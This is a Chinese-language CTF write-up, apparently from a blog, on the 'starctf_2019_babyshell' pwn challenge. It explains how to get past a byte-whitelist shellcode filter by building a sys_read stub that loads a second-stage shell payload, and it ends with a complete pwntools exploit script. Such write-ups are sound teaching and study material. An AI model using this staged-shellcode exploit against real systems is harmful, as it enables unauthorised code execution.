zoukankan      html  css  js  c++  java
  • starctf_2019_babyshell

    starctf_2019_babyshell

    有时shellcode受限,最好的方法一般就是勉强的凑出sys read系统调用来注入shellcode主体。

    我们拿starctf_2019_babyshell这道题来讲一讲,首先检查一下保护。

    IDA分析

    image-20200515161321699

    首先读入shellcode,然后检查shellcode是否合法,接着执行我们的shellcode.

    image-20200515161539246

    这个是检查shellcode合法的函数,遍历shellcode的每个字符,在0x400987处找是否有匹配。

    我们再来看看0x400987处的数据。

    image-20200515161708993

    这里我数据强制转换成了代码,也就是说我们只要输入的shellcode在这里面出现就可以了。比如说我们可以使用pop rdxpop rdisyscall ,根据我之前说的这里shellcode受到了限制,所以我们尽力去构造sys_read 来注入我们自己的shellcode。

    要调用sys_read我们要控制rax=0 rdi=0 rsi rdx

    image-20200515170059625

    这里eax等于0了并且rsi指向buf(也就是我们第一次写的shellcode),我们只要控制rdi=0,rdx为一定大小的值就可以了。

    我们把程序下断点到call rdx

    image-20200515162800369

    观察栈的内容

    image-20200515165907392

    pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdx;pop rdi;syscall
    

    shellcode怎么写都可以只要保证rdi为零,rdx为一个合适的值。

    调用sys_read覆写我们的shellcode

    image-20200515163151449

    'a'*0xC + asm(shellcraft.sh()
    

    exp:

    from pwn import *
    context(log_level='debug',os='linux',arch='amd64')
    p = process('./starctf_2019_babyshell')
    
    #gdb.attach(p,'b *0x4008CB')
    shellcode = asm('pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdx;pop rdi;syscall')
    p.sendlineafter(' plz:
    ',shellcode)
    
    sleep(1)
    p.sendline('a'*0xC + asm(shellcraft.sh()))
    
    p.interactive()
    
    
  • 相关阅读:
    学习笔记TF034:实现Word2Vec
    学习笔记TF033:实现ResNet
    学习笔记TF032:实现Google Inception Net
    学习笔记TF031:实现VGGNet
    学习笔记TF030:实现AlexNet
    学习笔记TF029:实现进阶卷积网络
    学习笔记TF028:实现简单卷积网络
    学习笔记TF027:卷积神经网络
    学习笔记TF026:多层感知机
    学习笔记TF025:自编码器
  • 原文地址:https://www.cnblogs.com/Rookle/p/12895895.html
Copyright © 2011-2022 走看看